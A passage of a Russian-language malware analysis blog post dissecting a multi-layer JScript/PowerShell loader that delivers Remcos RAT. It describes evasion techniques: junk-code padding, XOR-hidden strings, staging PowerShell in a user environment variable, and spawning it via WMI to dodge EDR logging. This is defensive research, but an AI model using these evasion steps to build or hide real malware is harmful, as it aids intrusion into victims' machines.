{"id":498499,"date":"2026-10-13T17:42:21","date_gmt":"2026-10-13T14:42:21","guid":{"rendered":"https:\/\/savepearlharbor.com\/?p=498499"},"modified":"2026-10-13T17:42:21","modified_gmt":"2026-10-13T14:42:21","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=498499","title":{"rendered":"\u041c\u0430\u0442\u0440\u0451\u0448\u043a\u0430 \u0441 Remcos \u0432\u043d\u0443\u0442\u0440\u0438: \u043a\u0430\u043a JS-\u0444\u0430\u0439\u043b, \u00ab\u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430\u00bb \u0438 MSBuild \u043f\u0435\u0440\u0435\u0434\u0430\u044e\u0442 \u0434\u0440\u0443\u0433 \u0434\u0440\u0443\u0433\u0443 \u044d\u0441\u0442\u0430\u0444\u0435\u0442\u0443"},"content":{"rendered":"
\n

\u041f\u0440\u0438\u0432\u0435\u0442, \u0425\u0430\u0431\u0440! \u0421\u0435\u0433\u043e\u0434\u043d\u044f \u044f \u0445\u043e\u0447\u0443 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u0442\u044c \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u043e\u0434\u0438\u043d \u043d\u0435\u0432\u0437\u0440\u0430\u0447\u043d\u044b\u0439 .js-\u0444\u0430\u0439\u043b \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u043b\u0441\u044f \u0432 \u0448\u0435\u0441\u0442\u044c \u0441\u043b\u043e\u0451\u0432 \u0443\u043f\u0430\u043a\u043e\u0432\u043a\u0438, \u0438 \u0432 \u0441\u0430\u043c\u043e\u043c \u0446\u0435\u043d\u0442\u0440\u0435 \u044d\u0442\u043e\u0439 \u043c\u0430\u0442\u0440\u0451\u0448\u043a\u0438 \u0441\u0438\u0434\u0435\u043b \u0441\u0442\u0430\u0440\u044b\u0439 \u0437\u043d\u0430\u043a\u043e\u043c\u044b\u0439 Remcos.<\/p>\n

\u041d\u0435\u043c\u043d\u043e\u0436\u043a\u043e \u0434\u0443\u0445\u043e\u0442\u044b<\/p>\n

\n\u0421\u043a\u0440\u044b\u0442\u044b\u0439 \u0442\u0435\u043a\u0441\u0442<\/summary>\n
\n

\u042d\u0442\u043e \u043d\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u0438 \u043d\u0435 \u0443\u0447\u0435\u0431\u043d\u0438\u043a \u043f\u043e \u0441\u0431\u043e\u0440\u043a\u0435 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u0446\u0435\u043f\u043e\u0447\u0435\u043a, \u0430 \u0440\u0430\u0441\u0441\u043a\u0430\u0437 \u043e \u0445\u043e\u0434\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f: \u0447\u0442\u043e \u0432\u0441\u0442\u0440\u0435\u0442\u0438\u043b\u043e\u0441\u044c \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0441\u043b\u043e\u0435, \u043a\u0430\u043a\u0438\u0435 \u043f\u0440\u0438\u0451\u043c\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u043e\u043d\u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043f\u0440\u043e\u0442\u0438\u0432 \u0437\u0430\u0449\u0438\u0442\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0441\u0442\u0432. \u0417\u0434\u0435\u0441\u044c \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u043a\u043b\u044e\u0447\u0435\u0439 \u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u043e\u0432 Remcos \u0438 \u0433\u043e\u0442\u043e\u0432\u044b\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0434\u043b\u044f \u0441\u0431\u043e\u0440\u043a\u0438. \u0411\u0443\u0434\u0443\u0442 \u0442\u0430\u043a\u0442\u0438\u043a\u0438, \u0442\u0435\u0445\u043d\u0438\u043a\u0438 \u0438 \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0431\u043e\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u041a\u043e\u0434 \u0432 \u0441\u0442\u0430\u0442\u044c\u0435 \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0435\u0440\u043d\u044b\u0439, \u043d\u043e \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e \u043d\u0435\u0440\u0430\u0431\u043e\u0447\u0438\u0439: \u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u0430\u0434\u0440\u0435\u0441\u0430 \u043e\u0431\u0435\u0437\u0432\u0440\u0435\u0436\u0435\u043d\u044b, \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0435\u0433\u043e \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u0441\u044f. \u0420\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0443 \u0441\u043b\u043e\u0451\u0432 \u044f \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e \u0442\u0430\u043a, \u0447\u0442\u043e\u0431\u044b \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u0442\u044c \u0432 \u0431\u043b\u043e\u043a\u043d\u043e\u0442\u0435 \u0438 CyberChef, \u0431\u0435\u0437 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u043e\u0444\u0442\u0430. \u0414\u043b\u044f \u0432\u044b\u0447\u0438\u0442\u043a\u0438, \u043f\u0440\u0430\u0432\u043e\u043a \u0438 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u043e\u043d\u0441\u0443\u043b\u044c\u0442\u0430\u0446\u0438\u0439 \u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u0418\u0418. <\/p>\n<\/div>\n<\/details>\n

\u0412\u00a0\u043c\u043e\u043c\u0435\u043d\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u044d\u0442\u043e\u0433\u043e \u0441\u044d\u043c\u043f\u043b\u0430 \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0445\u044d\u0448\u0430 \u0438\u0437\u00a0\u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u043d\u0430\u00a0VirusTotal \u043d\u0435\u00a0\u0431\u044b\u043b\u043e, \u0430\u00a0\u043e\u0434\u0438\u043d \u0438\u0437\u00a0\u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432 \u0441\u043e\u0431\u0440\u0430\u043d \u0431\u0443\u043a\u0432\u0430\u043b\u044c\u043d\u043e \u0437\u0430\u00a0\u0441\u0443\u0442\u043a\u0438 \u0434\u043e\u00a0\u0442\u043e\u0433\u043e, \u043a\u0430\u043a\u00a0\u043f\u043e\u043f\u0430\u043b \u043a\u043e \u043c\u043d\u0435. \u0421\u00a0\u0447\u0435\u0433\u043e \u0432\u0441\u0451 \u043d\u0430\u0447\u0430\u043b\u043e\u0441\u044c? \u041d\u0430\u00a0\u0430\u043d\u0430\u043b\u0438\u0437 \u043f\u0440\u0438\u043b\u0435\u0442\u0435\u043b \u0444\u0430\u0439\u043b dTSlkj83JJD.js. \u041e\u0442\u043a\u0443\u0434\u0430 \u043e\u043d \u043f\u0440\u0438\u043b\u0435\u0442\u0435\u043b \u043e\u0441\u0442\u0430\u0432\u0438\u043c \u0437\u0430\u00a0\u043a\u0430\u0434\u0440\u043e\u043c, \u0432\u0430\u0436\u043d\u0435\u0435 \u0442\u043e, \u0447\u0442\u043e\u00a0\u0431\u044b\u043b\u043e \u0434\u0430\u043b\u044c\u0448\u0435.<\/p>\n

\u0412\u0435\u0441\u044c \u0440\u0430\u0437\u0431\u043e\u0440 \u044f \u0434\u0435\u043b\u0430\u043b \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438. \u041d\u0438 \u043e\u0434\u043d\u0430 \u0441\u0442\u0430\u0434\u0438\u044f \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b\u0430\u0441\u044c: \u043a\u0430\u0436\u0434\u044b\u0439 \u0441\u043b\u043e\u0439 \u0432\u0441\u043a\u0440\u044b\u0432\u0430\u043b\u0441\u044f \u043f\u043e \u043a\u043e\u0434\u0443 \u0438 \u0434\u0430\u043d\u043d\u044b\u043c, \u0430 \u043d\u0435 \u043f\u043e \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044e \u0432 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u0435. \u041f\u043e\u0447\u0435\u043c\u0443 \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0442\u0430\u0442\u0438\u043a\u0430? \u0425\u043e\u0440\u043e\u0448\u0438\u0439 \u0432\u043e\u043f\u0440\u043e\u0441. \u041d\u0430\u0432\u0435\u0440\u043d\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u0439 \u043e\u0442\u0432\u0435\u0442 \u0437\u0434\u0435\u0441\u044c \u0431\u0443\u0434\u0435\u0442 «\u041f\u043e\u0442\u043e\u043c\u0443». \u042d\u0442\u043e \u0434\u043e\u043b\u044c\u0448\u0435, \u043d\u043e \u0432 \u0438\u0442\u043e\u0433\u0435 \u0432\u0438\u0434\u043d\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441, \u043d\u043e \u0438 \u043a\u0430\u043a\u0438\u0435 \u0435\u0449\u0451 \u0440\u0435\u0436\u0438\u043c\u044b \u0432 \u043d\u0451\u043c \u0437\u0430\u043b\u043e\u0436\u0435\u043d\u044b \u0438 \u0432 \u044d\u0442\u043e\u0439 \u0430\u0442\u0430\u043a\u0435 \u043d\u0435 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u044b. \u0422\u0430\u043a\u0438\u0445 \u043d\u0430\u0448\u043b\u043e\u0441\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e.<\/p>\n

\u0417\u0430\u0431\u0435\u0433\u0430\u044f \u0432\u043f\u0435\u0440\u0451\u0434, \u0432\u043e\u0442 \u0447\u0442\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c \u0446\u0435\u043b\u0438\u043a\u043e\u043c:<\/p>\n

JS-\u0444\u0430\u0439\u043b (Windows Script Host)     \u2514\u2500 PowerShell, \u0441\u043f\u0440\u044f\u0442\u0430\u043d\u043d\u044b\u0439 \u0432 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f          \u2514\u2500 PowerShell-\u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a               \u2514\u2500 .NET-\u0441\u0431\u043e\u0440\u043a\u0430, \u043f\u0440\u0438\u043a\u043b\u0435\u0435\u043d\u043d\u0430\u044f \u043a JPEG-\u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0435                    \u2514\u2500 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0444\u0430\u0439\u043b \u0441 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u043c \u0444\u0430\u0439\u043b\u043e\u043c \u00ab\u0437\u0430\u0434\u043e\u043c \u043d\u0430\u043f\u0435\u0440\u0451\u0434\u00bb                         \u2514\u2500 Remcos RAT 7.3.1 Pro \u0432\u043d\u0443\u0442\u0440\u0438 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u0433\u043e MSBuild.exe<\/code>
<\/span><\/a><\/div><\/pre>\n
\"\u0426\u0435\u043f\u043e\u0447\u043a\u0430<\/p>\n
\u0426\u0435\u043f\u043e\u0447\u043a\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f<\/figcaption><\/div>\n<\/figure>\n
\u041d\u0430 \u0434\u0438\u0441\u043a\u0435 \u0437\u0430 \u0432\u0441\u0451 \u0432\u0440\u0435\u043c\u044f \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 .js. \u0412\u0441\u0451 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u0436\u0438\u0432\u0451\u0442 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438, \u0432 \u0441\u0435\u0442\u0438 \u0438\u043b\u0438 \u0432\u043e\u043e\u0431\u0449\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0435\u043a\u0443\u043d\u0434.<\/p>\n
\u0421\u043b\u043e\u0439 1. JScript: \u0442\u044b\u0441\u044f\u0447\u0430 \u0441\u0442\u0440\u043e\u043a \u043d\u0438 \u043e \u0447\u0451\u043c<\/h2>\n
\u041f\u0435\u0440\u0432\u043e\u0435, \u0447\u0442\u043e \u0432\u0438\u0434\u0438\u0448\u044c \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0444\u0430\u0439\u043b\u0430, \u2014 1 626 \u0441\u0442\u0440\u043e\u043a \u043a\u043e\u0434\u0430, \u0431\u043e\u043b\u044c\u0448\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u043d\u0438\u0447\u0435\u0433\u043e. \u0411\u0443\u043a\u0432\u0430\u043b\u044c\u043d\u043e \u043d\u0438\u0447\u0435\u0433\u043e:<\/p>\n
\"<\/p>\n
 \u041d\u0443 \u0442\u0443\u0442 \u0432\u0441\u0451 \u044f\u0441\u043d\u043e. \u0421\u0442\u0435\u043d\u0430 \u043c\u0443\u0441\u043e\u0440\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430, \u0441\u0440\u0435\u0434\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0442\u0435\u0440\u044f\u044e\u0442\u0441\u044f \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438.<\/figcaption><\/div>\n<\/figure>\n
\u0420\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u0441\u0442\u0440\u043e\u043a\u0443, \u0430 \u043f\u043e\u0442\u043e\u043c \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u0435\u0451 \u043e\u0431\u0440\u0430\u0442\u043d\u043e. \u0417\u0430\u043c\u0435\u043d\u0438\u0442\u044c x<\/code> \u043d\u0430 x<\/code>. \u041e\u043a\u0440\u0443\u0433\u043b\u0438\u0442\u044c \u0443\u0436\u0435 \u0446\u0435\u043b\u043e\u0435 \u0447\u0438\u0441\u043b\u043e. \u0421\u0440\u0430\u0437\u0443 \u0447\u0443\u0432\u0441\u0442\u0432\u0443\u0435\u0442\u0441\u044f \u0440\u0443\u043a\u0430 \u043c\u0430\u0441\u0442\u0435\u0440\u0430, \u0443 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0437\u0430\u0440\u043f\u043b\u0430\u0442\u0430 \u043f\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0443 \u0441\u0442\u0440\u043e\u043a \u0440\u0430\u0441\u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f.<\/p>\n
\u0428\u0443\u0442\u043a\u0438, \u0448\u0443\u0442\u043a\u0430\u043c\u0438, \u043d\u043e \u0432 \u0434\u0430\u043d\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435\u043c \u043c\u0443\u0441\u043e\u0440 \u043d\u0443\u0436\u0435\u043d \u043d\u0435 \u0434\u043b\u044f \u043a\u0440\u0430\u0441\u043e\u0442\u044b. \u041e\u043d \u0440\u0430\u0437\u043c\u044b\u0432\u0430\u0435\u0442 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0438 \u0444\u0430\u0439\u043b\u0430, \u043c\u0435\u0448\u0430\u0435\u0442 \u0433\u043b\u0430\u0437\u0430\u043c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430 \u0438 \u043f\u0440\u043e\u0441\u0442\u044b\u043c \u044d\u0432\u0440\u0438\u0441\u0442\u0438\u043a\u0430\u043c \u00ab\u044d\u0442\u043e\u0442 \u0441\u043a\u0440\u0438\u043f\u0442 \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u043a\u043e\u0440\u043e\u0442\u043a\u0438\u0439 \u0438 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439\u00bb. \u041e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u043f\u043e\u0440\u0430\u0434\u043e\u0432\u0430\u043b\u0438 \u043b\u043e\u0436\u043d\u044b\u0435 \u0445\u044d\u0448-\u0444\u0443\u043d\u043a\u0446\u0438\u0438: \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0430\u043a\u043a\u0443\u0440\u0430\u0442\u043d\u044b\u0445 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0439 \u0432 \u0441\u0442\u0438\u043b\u0435 FNV \u0438 DJB, \u0441 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u043c\u0438 \u043a\u043e\u043d\u0441\u0442\u0430\u043d\u0442\u0430\u043c\u0438, \u0441 \u0442\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043c\u0430\u0441\u0441\u0438\u0432\u043e\u0432\u2026 \u0438 \u0438\u0445 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043d\u0438\u0433\u0434\u0435 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f. \u042d\u0442\u043e \u0434\u0435\u043a\u043e\u0440\u0430\u0446\u0438\u044f \u00ab\u0437\u0434\u0435\u0441\u044c \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u0430\u044f \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u044f\u00bb, \u0440\u0430\u0441\u0441\u0447\u0438\u0442\u0430\u043d\u043d\u0430\u044f \u043d\u0430 \u0431\u0435\u0433\u043b\u044b\u0439 \u0432\u0437\u0433\u043b\u044f\u0434. \u042d\u0442\u043e \u0432\u0441\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e \u0438 \u043f\u043e\u0437\u043d\u0430\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u043d\u043e \u0441\u0442\u0430\u0442\u044c\u044f \u043d\u0435 \u043f\u0440\u043e \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u0438, \u0430 \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043e \u0434\u0440\u0443\u0433\u043e\u043c. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0434\u0435\u043b\u0430\u0435\u043c \u043c\u0430\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u0435 «\u041f\u0430» \u0438 \u043c\u0443\u0441\u043e\u0440\u0430 \u043f\u043e\u0447\u0442\u0438 \u043d\u0435 \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c.<\/p>\n
\u041d\u0430\u0441\u0442\u043e\u044f\u0449\u0430\u044f \u043f\u043e\u043b\u0435\u0437\u043d\u0430\u044f \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0441\u043b\u043e\u044f \u0441\u043f\u0440\u044f\u0442\u0430\u043d\u0430 \u0432 \u0441\u0442\u0440\u043e\u043a\u0430\u0445, \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0441\u0442\u044b\u043c XOR \u0438 \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u044b\u0445 \u043f\u043e \u043a\u0443\u0441\u043e\u0447\u043a\u0430\u043c \u0438\u0437 \u0434\u0435\u0441\u044f\u0442\u043a\u043e\u0432 \u043f\u0440\u0438\u0441\u0432\u0430\u0438\u0432\u0430\u043d\u0438\u0439. \u041f\u043e\u0441\u043b\u0435 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0438 \u0432\u043c\u0435\u0441\u0442\u043e \u043c\u0443\u0441\u043e\u0440\u0430 \u043f\u0440\u043e\u0441\u0442\u0443\u043f\u0430\u0435\u0442 \u0432\u043f\u043e\u043b\u043d\u0435 \u043e\u0441\u043c\u044b\u0441\u043b\u0435\u043d\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440: WScript.Shell<\/code><\/a>, winmgmts:root\\cimv2<\/code>, Win32_Process<\/code>, Win32_ProcessStartup<\/code> \u0438 \u0434\u043b\u0438\u043d\u043d\u0430\u044f \u0441\u0442\u0440\u043e\u043a\u0430 PowerShell.<\/p>\n
\"\u041f\u0440\u0438\u043c\u0435\u0440\u043d\u043e<\/p>\n
\u041f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a. <\/figcaption><\/div>\n<\/figure>\n
\u0422\u0440\u044e\u043a \u0441 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f<\/p>\n
\u0421\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 \u0432 \u043f\u0435\u0440\u0432\u043e\u043c \u0441\u043b\u043e\u0435 \u2014 \u043a\u0430\u043a \u043e\u043d \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u0430\u043b\u044c\u0448\u0435. \u041e\u0447\u0435\u0432\u0438\u0434\u043d\u044b\u0439 \u043f\u0443\u0442\u044c: \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c powershell.exe<\/code> \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c \u043a\u043e\u0434 \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0435. \u041e\u0447\u0435\u0432\u0438\u0434\u043d\u044b\u0439 \u043f\u0443\u0442\u044c \u043e\u0442\u043b\u0438\u0447\u043d\u043e \u043b\u043e\u0432\u0438\u0442\u0441\u044f, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u043f\u0438\u0448\u0435\u0442 \u0432 \u0436\u0443\u0440\u043d\u0430\u043b \u043f\u043e\u0447\u0442\u0438 \u043b\u044e\u0431\u043e\u0439 EDR. \u0421\u0442\u0440\u043e\u043a\u0430 \u0432\u0438\u0434\u0430 powershell.exe -enc <\u0434\u043b\u0438\u043d\u043d\u0430\u044f \u0431\u0430\u0437\u0430><\/code> \u0434\u0430\u0432\u043d\u043e \u0441\u0442\u0430\u043b\u0430 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u043d\u043e\u0439 \u043a\u043b\u0430\u0441\u0441\u0438\u043a\u043e\u0439. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043a\u0430\u0436\u0434\u044b\u0439 \u0440\u0430\u0437 \u043f\u044b\u0442\u0430\u044e\u0442\u0441\u044f \u043f\u0440\u0438\u0434\u0443\u043c\u0430\u0442\u044c \u0447\u0442\u043e-\u0442\u043e \u043d\u043e\u0432\u043e\u0435. \u0418 \u0438\u0445 \u043c\u0435\u0442\u043e\u0434\u044b \u0431\u044b\u0432\u0430\u044e\u0442 \u0432\u0435\u0441\u044c \u0438\u0437\u043e\u0431\u0440\u0435\u0442\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435.<\/p>\n
\u041d\u043e \u0432 \u0434\u0430\u043d\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0432\u0441\u0435 \u043f\u0440\u043e\u0449\u0435: \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043b\u043e\u0430\u0434\u0435\u0440\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u043a\u043e\u0434 \u043d\u0435 \u0447\u0435\u0440\u0435\u0437 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b, \u0430 \u0447\u0435\u0440\u0435\u0437 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.<\/p>\n
\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430 \u0442\u0430\u043a\u0430\u044f. \u0421\u043a\u0440\u0438\u043f\u0442 \u0431\u0435\u0440\u0451\u0442 \u0434\u043b\u0438\u043d\u043d\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443 PowerShell \u2014 \u0442\u0443 \u0441\u0430\u043c\u0443\u044e, \u0447\u0442\u043e \u043c\u044b \u0432\u0438\u0434\u0435\u043b\u0438 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u0444\u0430\u0439\u043b\u0430 \u2014 \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0435\u0451 \u043a\u0430\u043a \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u041e\u0434\u043d\u0430-\u0434\u0432\u0435 \u0441\u0442\u0440\u043e\u0447\u043a\u0438 \u0447\u0435\u0440\u0435\u0437 WScript.Shell<\/code><\/a>.Environment<\/code>, \u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0443\u0436\u0435 \u043b\u0435\u0436\u0438\u0442 \u0432 HKCU\\Environment<\/code>. \u0422\u0430\u043c \u043e\u043d\u043e \u0436\u0438\u0432\u0451\u0442 \u043d\u0435\u0434\u043e\u043b\u0433\u043e: \u0431\u0443\u043a\u0432\u0430\u043b\u044c\u043d\u043e \u0434\u043e \u043a\u043e\u043d\u0446\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0441\u043a\u0440\u0438\u043f\u0442\u0430, \u043d\u043e \u044d\u0442\u043e\u0433\u043e \u0445\u0432\u0430\u0442\u0430\u0435\u0442.<\/p>\n
\u041f\u043e\u0442\u043e\u043c \u0441\u043a\u0440\u0438\u043f\u0442 \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u043d\u043e \u043d\u0435 \u043e\u0431\u044b\u0447\u043d\u044b\u043c \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c, \u0430 \u0447\u0435\u0440\u0435\u0437 WMI \u2014 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e \u0447\u0435\u0440\u0435\u0437 Win32_Process.Create<\/code> \u0432 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0435 \u0438\u043c\u0451\u043d root\\cimv2<\/code>. \u041a\u043e\u043c\u0430\u043d\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442\u0441\u044f \u0432 Create<\/code>, \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043f\u043e\u0447\u0442\u0438 \u043d\u0435\u0432\u0438\u043d\u043d\u043e: \u00ab\u0437\u0430\u043f\u0443\u0441\u0442\u0438 cmd<\/code>, \u0430 \u0442\u043e\u0442 \u043f\u0443\u0441\u0442\u044c \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442 PowerShell \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442 \u0442\u043e, \u0447\u0442\u043e \u043b\u0435\u0436\u0438\u0442 \u0432 